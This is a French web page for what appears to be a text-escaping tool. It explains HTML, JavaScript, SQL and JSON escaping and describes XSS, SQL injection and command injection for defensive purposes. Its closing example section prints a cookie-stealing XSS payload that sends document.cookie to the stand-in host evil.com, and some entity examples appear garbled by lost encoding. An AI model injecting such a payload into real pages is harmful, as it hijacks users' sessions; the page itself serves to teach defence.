Échappement Texte
Échapper et déséchapper du texte
L'echappement de texte convertit les caracteres speciaux en sequences sures pour empecher leur interpretation comme du code. C'est la premiere ligne de defense contre les attaques par injection.
Qu’est-ce que l’echappement de texte ?
L’echappement de texte est le processus de remplacement des caracteres speciaux par des representations sures afin qu’ils soient traites comme des donnees litterales plutot que comme du code executable ou de la syntaxe structurelle. Chaque langage et format possede des caracteres ayant une signification speciale — le HTML utilise < et > pour les balises, le SQL utilise ' comme delimiteur de chaines, le JSON utilise " et \ pour les chaines. Lorsque ces caracteres apparaissent dans des donnees fournies par l’utilisateur, ils doivent etre echappes pour eviter qu’ils ne cassent le format ou, pire, ne soient interpretes comme des instructions.
L’echappement est conceptuellement simple : vous substituez chaque caractere dangereux par un equivalent inoffensif qui produit le meme affichage visuel sans declencher de comportement special. En HTML, < devient <. En JSON, un guillemet double a l’interieur d’une chaine devient \". En SQL, une apostrophe devient '' (doublee). Les regles de substitution specifiques dependent entierement du contexte.
Le defaut d’echappement correct du texte est l’une des classes de vulnerabilites les plus exploitees dans l’histoire du logiciel. Le Cross-Site Scripting (XSS), l’injection SQL, l’injection de commandes et l’injection CSV decoulent tous de l’insertion de donnees non fiables dans un contexte structure sans echappement approprie.
Echappement specifique au contexte
Il n’existe pas de fonction “escape” unique qui fonctionne partout. Chaque contexte de sortie a son propre ensemble de caracteres speciaux et ses regles d’echappement correspondantes. Utiliser le mauvais echappement pour le contexte n’offre aucune protection.
Echappement HTML
L’echappement HTML convertit les caracteres ayant une signification dans le balisage HTML en leurs equivalents d’entite :
| Caractere | Entite HTML | Raison |
|---|---|---|
< | < | Ouvre une balise HTML |
> | > | Ferme une balise HTML |
& | & | Demarre une entite HTML |
" | " | Delimite les valeurs d’attribut |
' | ' | Delimite les valeurs d’attribut (alternative) |
Echappement des chaines JavaScript
Lors de l’integration de donnees dans une chaine JavaScript (par exemple dans un bloc <script> ou un gestionnaire d’evenement), des regles differentes s’appliquent :
| Caractere | Echappement | Raison |
|---|---|---|
\ | \\ | Caractere d’echappement lui-meme |
" | \" | Delimiteur de chaine |
' | \' | Delimiteur de chaine |
| Saut de ligne | \n | Casse le litteral de chaine |
</script> | <\/script> | Ferme prematurement le bloc script |
Echappement SQL
L’injection SQL reste l’une des vulnerabilites les plus dangereuses. Bien que les requetes parametrees (instructions preparees) soient la solution correcte, comprendre l’echappement SQL aide a expliquer pourquoi :
| Caractere | Echappement | Raison |
|---|---|---|
' | '' (double) | Delimiteur de chaine en SQL |
\ | \\ | Caractere d’echappement (MySQL) |
% | \% | Caractere joker dans les clauses LIKE |
Echappement JSON
Lors de l’integration de chaines dans du JSON, les caracteres suivants doivent etre echappes avec un antislash :
| Caractere | Echappement | Raison |
|---|---|---|
" | \" | Delimiteur de chaine |
\ | \\ | Caractere d’echappement |
/ | \/ | Optionnel, previent les problemes </script> |
| Saut de ligne | \n | Caractere de controle |
| Tabulation | \t | Caractere de controle |
Pourquoi l’echappement est important
L’echappement n’est pas une question d’esthetique ou de conformite de format — c’est une frontiere de securite critique. Lorsque des donnees controlees par l’utilisateur passent de la couche de donnees a une couche de code (HTML, SQL, JavaScript, commandes shell) sans echappement, les donnees de l’utilisateur peuvent devenir des instructions executables.
Cross-Site Scripting (XSS)
Le XSS est la vulnerabilite web la plus courante. Il se produit lorsqu’une application web inclut des donnees non fiables dans la sortie HTML sans echappement. Un attaquant injecte du JavaScript qui s’execute dans le navigateur des autres utilisateurs, permettant le vol de cookies, le detournement de session, le defacement et l’hameconnage.
Il existe trois types :
- XSS reflechi : Le script malveillant fait partie de l’URL et est reflechi dans la page
- XSS stocke : Le script est stocke de maniere permanente (par exemple dans un champ de commentaire en base de donnees) et servi a chaque visiteur
- XSS base sur le DOM : L’injection se produit entierement dans le JavaScript cote client sans implication du serveur
Injection SQL
L’injection SQL se produit lorsque la saisie utilisateur est concatenee dans une requete SQL sans echappement ni parametrisation. Un attaquant peut modifier la requete pour contourner l’authentification, extraire des donnees, modifier des enregistrements ou meme executer des commandes systeme.
Injection de commandes
Lorsque la saisie utilisateur est transmise a des commandes shell (par exemple via exec() ou des backticks), des caracteres comme ;, | et $() peuvent enchainer des commandes supplementaires. La solution est d’utiliser des fonctions de bibliotheque qui evitent le shell entierement, ou de valider et echapper strictement les entrees.
Cas d’utilisation courants
- Rendu de contenu utilisateur en HTML : Les commentaires de blog, les publications de forum, les descriptions de profil et tout autre contenu genere par les utilisateurs doivent etre echappes en HTML avant insertion dans une page pour prevenir le XSS
- Construction de requetes SQL : Bien que les requetes parametrees soient preferees, comprendre l’echappement est essentiel pour le debogage, la journalisation et le travail avec des systemes legacy qui construisent du SQL dynamiquement
- Generation de reponses JSON : Lors de la construction manuelle de chaines JSON (sans serialiseur), les valeurs de chaines doivent etre correctement echappees pour produire du JSON valide et prevenir les injections
- Integration de donnees dans JavaScript : Les pages rendues cote serveur qui injectent des donnees dans des blocs
<script>doivent echapper les donnees pour le contexte JavaScript, pas pour le contexte HTML - Export CSV : Lors de la generation de fichiers CSV a partir de donnees utilisateur, les champs contenant des virgules, des guillemets ou des sauts de ligne doivent etre entre guillemets et echappes pour prevenir l’injection de formules et les erreurs d’analyse
Essayez ces exemples
Les chevrons < et > sont echappes en < et >, et l'apostrophe est preservee. Le navigateur affiche le texte litteral '<script>alert(hi)</script>' au lieu de l'executer comme du JavaScript.
<script>alert('hi')</script> Saisie utilisateur brute injectee dans le HTML sans echappement. Un navigateur executerait ce JavaScript, envoyant les cookies de l'utilisateur a un attaquant. C'est une attaque classique de type Cross-Site Scripting (XSS).
<script>document.location='https://evil.com/steal?c='+document.cookie</script>